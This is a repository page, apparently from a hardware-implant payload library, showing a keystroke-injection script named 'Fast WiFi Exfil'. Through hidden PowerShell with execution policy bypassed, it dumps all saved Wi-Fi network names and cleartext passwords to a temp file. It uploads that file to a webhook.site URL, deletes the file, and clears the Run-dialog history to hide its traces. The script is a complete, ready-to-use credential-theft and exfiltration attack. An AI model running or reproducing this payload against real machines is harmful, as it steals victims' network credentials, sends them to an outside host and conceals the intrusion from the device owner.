omg-payloads/payloads/library/exfiltration/WiFi_Passwd_Grab/Fast WiFi Exfil (Powershell...

18 lines
730 B
Plaintext
Raw Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

DELAY 1000
GUI r
DELAY 200
STRING powershell -w h -ep bypass "function w{switch -r(netsh wl sh pr){':\s(.+)'{$s=$matches.1;switch -r(netsh wl sh pr n=$s k=clear){'tent.+:\s(.+)'{[PSCustomObject]@{SSID=$s;Pass=$matches.1}}}}}};$w=w;echo $w > $env:tmp\Wi-Fi-PASS"
ENTER
DELAY 100
GUI r
DELAY 200
STRING powershell -w h -ep bypass Invoke-WebRequest -Uri https://webhook.site/<Unique Webhook URL> -Method POST -InFile $env:tmp\Wi-Fi-PASS;Remove-Item $env:tmp\Wi-Fi-PASS -Force -ErrorAction SilentlyContinue
ENTER
DELAY 100
GUI r
DELAY 200
STRING powershell -w h -ep bypass Remove-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU -Name * -ErrorAction SilentlyContinue
ENTER
DELAY 100
EXIT